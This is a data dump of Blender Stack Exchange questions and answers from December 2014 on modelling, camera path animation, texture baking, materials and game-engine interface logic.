  <row Id="21040" PostTypeId="2" ParentId="21031" CreationDate="2014-12-17T15:28:45.140" Score="3" Body="&lt;p&gt;If you look at the leaves.blend you'll see that most of the leaves are just planes indeed &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sdp9W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order keep the polygon count as small as possible, they didn't model every leaf. They used an image with an alpha channel as mask on the materials to create the actual leaf shape instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0qXdT.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VSIIP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8XjPo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EQFtx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The depth map is created with the actual geometry of the objects in space, so it will not take into account &quot;faked&quot; sapes.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-17T15:51:28.983" LastActivityDate="2014-12-17T15:51:28.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21041" PostTypeId="1" AcceptedAnswerId="21046" CreationDate="2014-12-17T15:49:52.197" Score="11" ViewCount="14025" Body="&lt;p&gt;I made a path and have my camera following the path (&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;: Curve-&gt;Path) based on a youtube tutorial and this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/8356/camera-angle-should-follow-path-angle&quot;&gt;Camera angle should follow path angle&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the camera starts following the path at the very beginning of my animation and instead I want the camera to be stationary for the first part and then start following the path in the middle (time-wise) of my animation.  How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking in the dope sheet and I see NubsPath and Evaluation Time but I don't really see how to adjust the start time.  &lt;/p&gt;&#xA;" OwnerUserId="6273" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2020-12-16T14:52:28.017" Title="Change start time of camera following a path?" Tags="&lt;camera&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21042" PostTypeId="2" ParentId="21039" CreationDate="2014-12-17T15:53:03.703" Score="8" Body="&lt;p&gt;Add a curve with desired shape and set its orgin point as shown below. Then add the one segment of the model in the same place where the curve origin point is.&#xA;Add the &lt;em&gt;Curve&lt;/em&gt; and &lt;em&gt;Array Modifiers&lt;/em&gt; to the model segment. Set the proper array count.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ot3Bt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now scaling the curve and increasing the array count, you have a bigger object while keeping its thickness.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nylPU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2014-12-17T15:53:03.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21043" PostTypeId="1" CreationDate="2014-12-17T15:57:55.043" Score="3" ViewCount="395" Body="&lt;p&gt;I'm having an issue with dissolving the faces on an object with holes in it - I've read elsewhere that this can be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm somewhat of a Blender novice at the moment, so I've mostly been using tutorials, but I've managed to cut holes through a wall using cylinders and the &lt;code&gt;Boolean &amp;gt; Difference&lt;/code&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3WItv.png&quot; alt=&quot;Disconnected faces on object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is that I am unable to dissolve some of the faces surrounding the holes. The screenshot above is of the object after I've dissolved all of the faces that I am able to, but an attempt to dissolve the others results in a the error below.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;could not create merged face.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is causing issues when applying textures, as they appear completely distorted (I imagine as a result of the split faces).&lt;/p&gt;&#xA;" OwnerUserId="9545" LastEditorUserId="2217" LastEditDate="2014-12-17T16:34:51.747" LastActivityDate="2014-12-17T16:34:51.747" Title="Dissolving faces on objects with holes?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21044" PostTypeId="1" AcceptedAnswerId="21045" CreationDate="2014-12-17T16:17:42.550" Score="13" ViewCount="21902" Body="&lt;p&gt;With the pie menus, new for blender 2.72, I'm now wondering how do I get to them? I have tried some of the different keyboard shortcuts mentioned for the pie menus.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="241" LastEditDate="2017-03-22T15:02:08.360" LastActivityDate="2017-03-22T15:02:08.360" Title="How to get to the pie menus?" Tags="&lt;interface&gt;&lt;shortcut&gt;&lt;pie-menu&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21045" PostTypeId="2" ParentId="21044" CreationDate="2014-12-17T16:17:57.303" Score="19" Body="&lt;p&gt;For 2.72 you have to enable the pie menus in the user preferences. &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; or &lt;code&gt;File -&amp;gt; User preferences&lt;/code&gt; then the &lt;em&gt;Addons&lt;/em&gt; tab. Search for &lt;code&gt;pie&lt;/code&gt;, enable the addon called &lt;code&gt;User Interface: Pie Menus Offical&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the pie menu addon is enabled the keyboard shortcuts such as &lt;kbd&gt;Tab&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt; will open a pie menu. Documentation about the pie menus on the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/UI/Pie_Menus&quot; rel=&quot;noreferrer&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-12-18T02:02:19.653" LastActivityDate="2014-12-18T02:02:19.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21046" PostTypeId="2" ParentId="21041" CreationDate="2014-12-17T16:38:05.627" Score="21" Body="&lt;p&gt;When you add a &lt;strong&gt;Follow Path&lt;/strong&gt; constraint to the camera and press the animate path button&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aPVPV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the movement of the camera is controlled by the paths's evaluation time, which in turn is controlled by a generator modifier. If you select the path and open the Graph editor window you'll see a constant line that determines the movement of the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5Ka3.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To alter the evalutaion time press &lt;kbd&gt;N&lt;/kbd&gt; and look for the &lt;strong&gt;Modifers&lt;/strong&gt; tab. You can change the in and out points of your path using the &lt;strong&gt;Restrict frame Range&lt;/strong&gt; options. In this example the camera will start moving at frame 20 and stop at frame 100. &#xA;You might need to modify also the y= value and the In value to get a curve like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oFtVA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A different way to control the movement on a path is to add the &lt;strong&gt;follow path&lt;/strong&gt; constraint &lt;strong&gt;but not actiavting&lt;/strong&gt; the &quot;animate path&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the curve you can create key frames for the evaluation time. Go to the frame where  you want the movement to start type 0 as the value for evaluation time and I to create a key frame. Then move to the frame where you want the movement to end and type 100 and add a keyframe. &#xA;This time you'll see the keyframes on the curve and dopesheet windows.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rR6bZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JdMOK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2018-06-20T17:08:26.127" LastActivityDate="2018-06-20T17:08:26.127" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21047" PostTypeId="1" AcceptedAnswerId="21050" CreationDate="2014-12-17T16:43:44.657" Score="9" ViewCount="7665" Body="&lt;p&gt;Which object should be selected when &lt;em&gt;selected to active&lt;/em&gt; is checked for baking, the one I'm baking to or from? I can never remember which one.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-12-17T17:10:15.633" LastActivityDate="2018-10-02T04:12:13.513" Title="Which object should be selected when selected to active is check for texture baking?" Tags="&lt;interface&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21048" PostTypeId="2" ParentId="21047" CreationDate="2014-12-17T16:43:44.657" Score="1" Body="&lt;p&gt;The object you're baking to is selected, quickest way to remember this is that the &lt;strong&gt;active object&lt;/strong&gt; is the object you're &lt;em&gt;changing&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-12-18T00:12:32.143" LastActivityDate="2014-12-18T00:12:32.143" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21049" PostTypeId="1" AcceptedAnswerId="21051" CreationDate="2014-12-17T16:45:25.463" Score="3" ViewCount="118" Body="&lt;p&gt;When I render an animation of my object (from motion tracking data) I am seeing the base fade in and out as shown in the two images below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UhYiw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a7hlr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this is happening? Here is the &lt;a href=&quot;https://www.dropbox.com/s/x3pw00lmhvw0tut/Cabin.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt; if that helps.&lt;/p&gt;&#xA;" OwnerUserId="5628" LastEditorDisplayName="user1853" LastEditDate="2014-12-18T00:23:06.993" LastActivityDate="2014-12-18T00:23:06.993" Title="Why is the base of the object fading in and out during rendering?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21050" PostTypeId="2" ParentId="21047" CreationDate="2014-12-17T17:01:18.097" Score="13" Body="&lt;p&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/selecting/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;active object&lt;/a&gt; is the same no matter what action you are performing in blender.&lt;br&gt;&#xA;The active object is always the object you selected &lt;strong&gt;last&lt;/strong&gt;.&lt;br&gt;&#xA;When using the default theme, the active object is outlined in yellow, and all other selected objects are in orange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you selected your object in the wrong order, you can just &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB &lt;img src=&quot;https://i.stack.imgur.com/TvGt0.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt; on the object again to make it the active object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remember the selection order for baking is simple when you know what the active object is. Just say &lt;em&gt;selected to active&lt;/em&gt;. Now think, you are baking from the selected object to the active object.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2018-10-02T04:12:13.513" LastActivityDate="2018-10-02T04:12:13.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21051" PostTypeId="2" ParentId="21049" CreationDate="2014-12-17T18:30:14.747" Score="3" Body="&lt;p&gt;The 'fading' is actually just blurring from the vector blur node in the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to remove this effect, you can either just disable the Vector Blur node by pressing &lt;kbd&gt;M&lt;/kbd&gt; while the node is selected in the compositor to 'Mute' the node or you could press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;X&lt;/kbd&gt; to essentially 'Cut' the node out. In future, you can use the technique of muting nodes one by one to diagnose issues with node setups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remove the Vector Blur node you may be able to remove more nodes, such as the Alpha Over node the Vector Blur connects to and even the 'Foreground' render layer (as it may be the only purpose of this render layer is for the Vector Blur).&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-12-17T18:30:14.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21052" PostTypeId="2" ParentId="21030" CreationDate="2014-12-17T18:48:26.310" Score="1" Body="&lt;p&gt;To rotate any animation that is stuck on an axis like this one, remove rotation on all axes for your root bone, then rotate that root bone in position in which you want your model to be.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="5705" LastEditDate="2014-12-17T20:48:37.373" LastActivityDate="2014-12-17T20:48:37.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21053" PostTypeId="1" AcceptedAnswerId="21054" CreationDate="2014-12-17T19:54:06.733" Score="9" ViewCount="405" Body="&lt;p&gt;I have an issue where I am trying to render a very complex scene, and I need to cut on my poly count in order to fit it on my GPU. The simplest way is to change modifiers like Sub-division to a lower value, like in my preview, which is all fine and good, but I have hundreds of objects . . . is there a way to render at the Preview settings in the final render?&#xA;I do know rendering at these lower settings will work as my scene currently renders in the viewport, I just need to know if there is some Python script or something to set all final values to the preview values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blender 2.72&lt;/li&gt;&#xA;&lt;li&gt;Cycles Render Engine&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Scene details (preview):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;384,000 verts&lt;/li&gt;&#xA;&lt;li&gt;366,000 faces&lt;/li&gt;&#xA;&lt;li&gt;237 objects&lt;/li&gt;&#xA;&lt;li&gt;.45 GB Memory&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-12-17T20:08:13.853" Title="Is it possible to render modifiers at preview settings?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21054" PostTypeId="2" ParentId="21053" CreationDate="2014-12-17T20:08:13.853" Score="10" Body="&lt;p&gt;There is a option in the &lt;em&gt;Scene&lt;/em&gt; tab of the &lt;em&gt;Proprieties&lt;/em&gt; editor called &lt;em&gt;Simplify&lt;/em&gt; that limits the maximum number of subdivisions on all objects. In the picture below all objects would be limited to just 2 subdivisions.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xMaCq.png&quot; alt=&quot;Scene setting&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-12-17T20:08:13.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21055" PostTypeId="1" AcceptedAnswerId="21056" CreationDate="2014-12-17T20:45:37.973" Score="3" ViewCount="925" Body="&lt;p&gt;I'm doing some historical research and I would like to visualize a situation from the past. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several questions, I would like to make this topic a source for tips &amp;amp; hints when recreating e.g. cities.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I've seen that it is possible to create a surface from Google Earth with Sketchup. Is something similar possible with Blender? I need correct geo. reference and heights.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Via Solid Edge ST6 I can easily use a measurement tool when creating my model. (e.g. &lt;a href=&quot;https://www.youtube.com/watch?v=GI8QE5A2fWY&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=GI8QE5A2fWY&lt;/a&gt; ) Is something similar available for Blender? &#xA;Some models I need on my map need to have correct sizes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In general, how do you best organize a large scene?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;at the beginning I just want to add basic shapes (e.g. cubes) to show the buildings. If I later want to update these buildings or add more detail to an existing building. What is the best way to work?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6102" LastEditorUserId="2217" LastEditDate="2014-12-19T16:18:56.020" LastActivityDate="2014-12-19T16:18:56.020" Title="Historical city reconstruction workflow" Tags="&lt;objects&gt;&lt;workflow&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-12-19T19:12:59.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="21056" PostTypeId="2" ParentId="21055" CreationDate="2014-12-17T21:07:53.507" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You could try to export from &lt;a href=&quot;https://www.openstreetmap.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenStreetMap&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/274/how-to-model-effectively-using-exact-measurements/275#275&quot;&gt;How to model effectively using exact measurements?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It depends on what you want to achieve (should be another question) you could use layers and groups.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For buildings in the background adding textures should be sufficient for close up I would refine the geometry and add more materials. Related: &lt;a href=&quot;https://blender.stackexchange.com/questions/14136/trying-to-create-a-script-that-makes-roofs-on-selected-boxes&quot;&gt;Trying to create a script that makes roofs on selected boxes&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Imported .osm after extrusion (Note that exporting a whole city leads to 2GB files which can't be loaded in Blender)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uSSZl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some cities 360° images are available from Google street view / maps view which help to elaborate on building details and estimate their age.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KLywv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this awesome tutorial &lt;a href=&quot;https://www.youtube.com/watch?v=R1ROxTnD3E0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender tutorial: How to Create a City&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-12-18T07:29:17.237" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="21057" PostTypeId="1" CreationDate="2014-12-17T21:32:48.183" Score="1" ViewCount="42" Body="&lt;p&gt;I have a scene with characters linked with animation and everything else, but ... I will render to render farm with networkrender, but in the result, no frames where my characters do not appear, guess where these frames are not rendered my characters correspond to the slaves which is not native scene, which I do? sorry for the translation, I speak Spanish. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="9547" LastActivityDate="2014-12-17T21:32:48.183" Title="how to make a scene with characters linked to renderfarm?" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-12-17T22:53:28.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="21059" PostTypeId="1" CreationDate="2014-12-17T22:11:34.103" Score="1" ViewCount="5045" Body="&lt;p&gt;How can I use the VSE with the node editor? I've tested about two addons and one script, and nothing has worked out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best result was to use the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?338248-VSE-Compositor-Node-proxy&quot; rel=&quot;nofollow&quot;&gt;VSE Compositor Node proxy&lt;/a&gt;, but it is only affecting the &quot;Viewer Node&quot; in the node editor. When I want to render an animation, &#xA;it renders pure VSE sequence without compositing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me about a good working addon like this for Blender 2.72 or at least try the script I mentioned themself on Blender 2.72 to see if it's working? (maybe I'm doing something wrong, and it's not about the new Blender version)&lt;/p&gt;&#xA;" OwnerUserId="9548" LastEditorUserId="55" LastEditDate="2014-12-18T01:35:04.240" LastActivityDate="2015-01-02T03:28:20.617" Title="How to use Node Editor for the Video Sequencer?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21060" PostTypeId="1" AcceptedAnswerId="21061" CreationDate="2014-12-17T23:05:30.357" Score="10" ViewCount="4392" Body="&lt;p&gt;I'm making a video, and I have two identical objects that start in the same place and then separate. I want to have a dotted line connecting them which appears only when the two objects start separating and continues to grow as the objects continue to separate. This takes out using the array modifier.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="2217" LastEditDate="2014-12-18T01:30:31.793" LastActivityDate="2015-05-11T06:32:22.907" Title="Dotted line on curve?" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21061" PostTypeId="2" ParentId="21060" CreationDate="2014-12-17T23:42:43.420" Score="13" Body="&lt;p&gt;Make a curve, attach empties as hooks to each end of the curve, parent then those hooks/empties to the objects.&#xA;That way when the objects move apart the curve will follow and grow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dC6Fm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the curve to have some thickness, make it 3d and add some bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VJR94.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CYCLES rendering&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the dotted lines for the curve, use a checker texture to control the transparency on a material .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVEDg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kXOkL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-18T03:48:27.687" LastActivityDate="2014-12-18T03:48:27.687" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21062" PostTypeId="2" ParentId="21026" CreationDate="2014-12-17T23:46:12.587" Score="5" Body="&lt;p&gt;I had the exact same problem. I had to remap my texture on all the shards. I did use project from view to unwrap, which should be fairly painless for you if you've just got that cube.&lt;/p&gt;&#xA;" OwnerUserId="9551" LastEditorUserId="2217" LastEditDate="2014-12-17T23:51:41.120" LastActivityDate="2014-12-17T23:51:41.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21063" PostTypeId="1" AcceptedAnswerId="21064" CreationDate="2014-12-17T23:50:23.967" Score="2" ViewCount="359" Body="&lt;p&gt;I am working on creating a hammer in Blender, but I am having a problem. I separated the hammer and the handle into two separate objects, but when I apply textures to one of the items, it applies the texture to both objects. I used &lt;kbd&gt;P&lt;/kbd&gt; and then &lt;em&gt;selection&lt;/em&gt; to separate the two pieces. &lt;/p&gt;&#xA;" OwnerUserId="9552" LastEditorUserId="2217" LastEditDate="2014-12-18T00:01:41.923" LastActivityDate="2014-12-18T00:03:57.823" Title="Texture also applying to separated object" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-12-19T22:50:08.400" ContentLicense="CC BY-SA 3.0" />
  <row Id="21064" PostTypeId="2" ParentId="21063" CreationDate="2014-12-17T23:58:04.053" Score="1" Body="&lt;p&gt;You still have the same material on both objects. You can create a new material, if you need an entirely different material.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a2HPG.png&quot; alt=&quot;plus button&quot;&gt;&lt;br&gt;&#xA;Or click on the plus button, to make a new material from the current material. Then there will be two separate materials for your two objects.&lt;br&gt;&#xA;Documentation about &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;materials&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-12-18T00:03:57.823" LastActivityDate="2014-12-18T00:03:57.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21065" PostTypeId="1" CreationDate="2014-12-18T00:31:45.477" Score="0" ViewCount="50" Body="&lt;p&gt;So I animated some objects rotating, and the pivot point is on top. but now I want to move the pivot point to the side a bit while still being on top, but the object positions are already animated. help please?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-12-18T00:31:45.477" Title="Change pivot point without moving the current position?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-18T01:33:51.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="21066" PostTypeId="1" AcceptedAnswerId="21069" CreationDate="2014-12-18T00:33:31.007" Score="8" ViewCount="761" Body="&lt;p&gt;I am learning how to make interfaces in the game engine, and I have set up 2 buttons: an exit button and a play button. When one of the buttons receives a left click, it either closes Blender or goes to another screen with a monkey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that both buttons are doing the same stuff at the same time. They're switching scenes and closing the program, and the biggest problem is that I don't have to click on the buttons at all. When testing, I can click anywhere in the Blender and it does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;http://pasteall.org/blend/33383&quot;&gt;the .blend file&lt;/a&gt; if you need it.&lt;/p&gt;&#xA;" OwnerUserId="8412" LastEditorUserId="2217" LastEditDate="2014-12-18T01:50:50.123" LastActivityDate="2014-12-18T01:50:50.123" Title="Making an Interface in blender game engine" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21068" PostTypeId="1" CreationDate="2014-12-18T00:56:40.450" Score="0" ViewCount="25" Body="&lt;p&gt;So I have a video and I have the checker texture, and have set it up so that its black and white, and then I put the color into alpha of the output node, so that I have this white and transparent dotted line. BUT, the &quot;transparent&quot; part of the line goes THROUGH an object right behind it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iiiLg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;I'm using blender internal.&#xA;help?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-12-18T00:56:40.450" Title="transparency texture not showing other object?" Tags="&lt;texturing&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-18T01:56:28.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="21069" PostTypeId="2" ParentId="21066" CreationDate="2014-12-18T01:49:32.377" Score="8" Body="&lt;p&gt;The Mouse Sensor when set to &lt;em&gt;Left Button&lt;/em&gt; will send a positive pulse &lt;strong&gt;whenever&lt;/strong&gt; the left mouse button is clicked. To get it to trigger only when over a specific object you have to add another Mouse sensor set to &lt;em&gt;Mouse Over&lt;/em&gt; and plug it in to the same &lt;em&gt;And&lt;/em&gt; controller as the click sensor. Like in the image below.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ALQhm.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ALQhm.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-12-18T01:49:32.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
